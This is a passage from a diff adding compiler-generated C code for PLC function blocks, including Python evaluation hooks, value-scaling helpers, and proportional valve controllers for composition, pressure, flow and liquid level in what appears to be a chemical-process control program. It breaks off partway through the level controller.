PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + 